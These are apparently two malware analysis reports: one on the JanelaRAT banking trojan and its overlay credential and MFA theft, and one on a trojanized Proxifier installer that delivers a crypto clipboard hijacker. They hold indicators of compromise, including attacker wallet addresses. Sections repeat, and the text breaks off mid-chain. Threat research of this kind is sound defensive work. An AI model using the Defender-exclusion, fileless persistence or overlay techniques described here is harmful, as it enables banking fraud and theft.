Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.

By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.

If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.

The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.

Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.

First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.

As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.

The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:

• Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
• Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
• Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
• Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.

This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.

The next stage is launched along with the task created in the scheduler. This is what it looks like:

The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.

The script from Pastebin continues the download chain. This time, the payload is located on GitHub.

It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.

The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.

Here is the full list of replacement addresses:

addr1qxenj0dwefgmp9z4t4dgek3yh3d8cfzcl6u97x2ln8c4nljjv7xdw2u0jhfdy90arm0xr0das4kznrh8qj33dzu8z5fqdtusyt
QSAROFQNKPXKKDNK67N5MQY5IQ4MTKGLI65KREVHKW53R2M6WHORP3ME2E
0x97c16182d2e91a9370d5590b670f6b8dc755680552e40218a2b28ec7ad105071
qrherxuw7fupud48l9xwvdcg7w64g8g7xvls9vgqyq
bc1q88r38gk8ynrhdfur7yefwf5hrn2y56s90vlrvq
36vf1gvZSxHkRRhAFiH6fotVWYEwH3tk22
14U9sBVDRyEfPgR8h9QJatwtrodey4NeH4
bc1phfm9d0fpqtgr9hkrxx5ww9k2qzww59q5czga95rtmk6vh5h8devsa72fxk
btg1qqfrsueknwmg92xrpch22wru0g4ka4p2vum3pdj
AcRjmRuDswUeQHtxJnzAn496r9Lo8XQjUK
GW9DJpw4mBJnVUWucX3szdH5bXZ9pqzLRF
bnb18nqx60dx6dhhsdyddcl0653392w0v4yhx07knl
cosmos10zqq0frph0rs36wwjg4r2r5626m6a2dgv3h6nv
DskZFNcs5MKg9EdvhAnu87YGzWwVoBvd2tZ
Xj3KofSCPq97odR8hiFjfeZs2FqbwUbstk
DJYXgJuBrc7cuGn4sgJXz1sdArKURkoWS9
erd14n38wkxm9epjh0s2y8078yqqzy4ztq9ckczy883dwcfgd54peaqs3tp2k2
a2dB176hgduQopnJPrEGjfojRWSHwTS62Q
f1qxoyqf3va2mwfbgzah3t7pqe7x5fmdev5dqc25a
inj1qw709q8utgjhxrs2cqczhmz2w254dedllzmlef
ltc1q4calyk5x5g36ckpsrcr6ndtxdlc0ea9qs4h44n
MCB8j9kXkX3f3BoXaBcsDc9RFoki9Kb3AR
LhMGEmEGwxcGhCEQ7QmbC1hywRbHbbv6p8
14FBxuV8HEuuWPFoFHbbG4Hm4pa7CqroQiGDeWvZdGiiJm8W
osmo10zqq0frph0rs36wwjg4r2r5626m6a2dgy2y297
7ATuKGME8AG9Tz5Qe4eRf1EAwqJNUvYXMiCGmtSbaJXR
thor12x0nqpjz2djpuaxm2j2z963sawdcze3nhxacyu
EQA28DFYnisowE0e49Sp2DUv6RKQWOJGbvegKWRPXE83bMnQ
nano_1j9mjyi4q8qytb1r7yyqntzkyay5xo1wznnwmy9a3p9r371zb3d6wr6xs8y5
QXwbqRnmxgmMZQk5WEvMYEBVzf1MP4eMY9
3P7zSKMhfMPr5kd85xtHNmCx2gi9apCgnSP
TNkGLYwtjcSk2A9U8cxJzttGeGEgz56hSP
GB4XWREV3WOXWIWFE3DVX3FUNUXLOC7EEGXHZXRUKI5AMZAG3SV7EV4P
46QtL5btfnq85iGrPDFabp4mxGhRbEZJaH67i5LhQsWhCnuiURKVU74QbMpf4TcZqgDnENMWaqhpt82vQSEdyBf4Tp1v8Y9
rKwSuwgNNWn8P8x1ckUopKkErnPW3tVrz9
tz1cPNzMxTsLzV1Gca2VowGgjRm7MkRzGLw5
t1Nwwai9UsQxcgJVVbssnmfjfznhbq2v8ud
ZEPHYR2tzMbbkY7CCsShtADqstJLEeZfEiDHQeRchSg8FoqAn2XzsDD8eEEx5cweBQb4jX12DhfPz36c6TD6uV9fPrcFMqwzTn93Y

The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:

Victims

Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.

Conclusion

This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.

To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.

Indicators of compromise

URLs
https[:]//pastebin[.]com/raw/FmpsDAtQ
https[:]//snippet[.]host/aaxniv/raw
https[:]//chiaselinks[.]com/raw/nkkywvmhux
https[:]//rlim[.]com/55Dfq32kaR/raw
https[:]//paste.kealper[.]com/raw/k3K5aPJQ
https[:]//git.parat[.]swiss/rogers7/dev-api/raw/master/cpzn
https[:]//pinhole[.]rootcode[.]ru/rogers7/dev-api/raw/master/cpzn
https[:]//github[.]com/lukecodix/Proxifier/releases/download/4.12/Proxifier.zip
https[:]//gist.github[.]com/msfcon5ol3/107484d66423cb601f418344cd648f12/raw/d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7/upxz

Hashes
34a0f70ab100c47caaba7a5c85448e3d
7528bf597fd7764fcb7ec06512e073e0
8354223cd6198b05904337b5dff7772b

At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.

By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.

If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.

The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.

Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.

First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.

As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.

The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:

• Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
• Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
• Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
• Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.

This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.

The next stage is launched along with the task created in the scheduler. This is what it looks like:

The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.

The script from Pastebin continues the download chain. This time, the payload is located on GitHub.

